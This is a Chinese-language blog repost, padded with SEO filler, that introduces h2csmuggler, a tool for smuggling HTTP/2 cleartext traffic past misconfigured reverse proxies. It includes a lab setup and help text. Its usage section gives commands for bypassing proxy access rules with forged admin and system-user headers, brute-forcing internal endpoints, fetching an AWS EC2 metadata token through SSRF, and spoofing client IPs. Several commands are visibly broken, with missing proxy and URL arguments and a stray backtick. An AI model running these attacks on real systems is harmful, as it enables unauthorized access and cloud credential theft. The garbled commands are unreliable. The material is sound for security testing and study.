前言:
眼前咱们对“nginx h2c”大致比较看重,大家都需要剖析一些“nginx h2c”的相关内容。那么小编同时在网络上网罗了一些有关“nginx h2c””的相关内容,希望姐妹们能喜欢,兄弟们一起来了解一下吧!工具介绍
h2csmuggler是一款隐蔽性极强的HTTP/2明文通信工具,该工具能够使用h2c兼容的后端服务器来建立HTTP/2明文(h2c)通信,并隐藏HTTP流量以通过不安全的边缘服务器proxy_pass配置:
如何测试?
该工具适用于任何一个能够转发h2c更新Header的代理终端节点。因为h2c本身理应只在明文通信信道上执行,在HTTPs服务中进行检测的话一般结果都会报真阳性。
相反,HTTP服务则有可能产生假阳性结果。比如说,启用了h2c的代理可能会直接响应更新Header,而不是将其转发至一个h2c后端。
广大研究人员可以使用--scan-list选项来测试一个或多个Web服务器以寻找受影响的proxy_pass终端节点。建议大家使用一个目录列表来进行目录枚举,比如说下面这个URL文本文件(urls.txt):
for brevity...下面的命令将使用h2cSmuggler扫描urls.txt,并定义扫描线程数量:
./h2csmuggler.py --scan-list urls.txt --threads 5或者,也可以直接使用下列命令扫描单个节点:
./h2csmuggler.py -x --test工具利用
当我们识别出了一个受影响节点之后,我们就可以利用它来进行信息传输了。现在,我们可以访问或爆破一台后端服务器的内部终端节点,然后提供自定义的语句或Header。在下面的例子中,我们将演示如何利用h2c的数据隐藏功能来绕过代理拒绝规则,并访问内部/flag终端节点。
工具依赖
该工具唯一的依赖组件就是Python hyper-h2库,安装代码如下:
pip3 install h2测试环境和Demo
这个测试环境将允许我们在一个受控环境下使用h2cSmuggler进行测试。docer-compose将会模拟三条指向已启用h2c的Golang后端服务器的代理:
TCP port: Description======== ===========8000: HTTP h2c backend8001: HAProxy -> h2c backend (Insecure default configuration)8002: nginx -> h2c backend (Insecure custom configuration)8003: Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)
我们可以使用下列命令生成证书并与docker-compose环境绑定:
# Generate certs./configs/generate-certificates.sh # Activate servicesdocker-compose up
接下来,我们尝试通过HAProxy服务器(端口8001)来访问那些被禁止访问的终端节点:
我们可以使用h2cSmuggler的--test(或-t)选项来确认代理的不安全配置:
现在,我们使用h2cSmuggler来执行一次h2c更新,我们通过代理来传输我们的HTTP/2流量,然后向后端服务器请求访问/flag节点,并绕过代理的访问控制:
工具使用
h2cSmuggler使用了类curl语句来处理请求:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v] [url] Detect and exploit insecure forwarding of h2c upgrades. positional arguments: url optional arguments: -h, --help show this help message and exit --scan-list SCAN_LIST list of URLs for scanning --threads THREADS # of threads (for use with --scan-list) --upgrade-only drop HTTP2-Settings from outgoing Connection header -x PROXY, --proxy PROXY proxy server to try to bypass -i WORDLIST, --wordlist WORDLIST list of paths to bruteforce -X REQUEST, --request REQUEST smuggled verb -d DATA, --data DATA smuggled data -H HEADER, --header HEADER smuggled headers -m MAX_TIME, --max-time MAX_TIME socket timeout in seconds (type: float; default 10) -t, --test test a single proxy server -v, --verbose工具使用样例
1、扫描URL地址列表来识别受影响的终端节点:
./h2csmuggler.py --scan-list urls.txt --threads 5
或者,将数据结果重定向到目标文件:
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
2、发送特制的POST请求来绕过边缘服务器并抵达内部节点:
./h2csmuggler.py -x -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true"
3、使用HTTP/2多路复用爆破内部节点:
/h2csmuggler.py -x -i dirs.txt
4、利用Host Header SSRF,获取令牌:
./h2csmuggler.py -x -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" `
发送令牌:
./h2csmuggler.py -x -H "x-aws-ec2-metadata-token: TOKEN"
5、使用X-Forwarded-For Header实现IP地址欺骗,并访问内部节点仪表盘:
./h2csmuggler.py -x -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1"项目地址
标签: #nginx h2c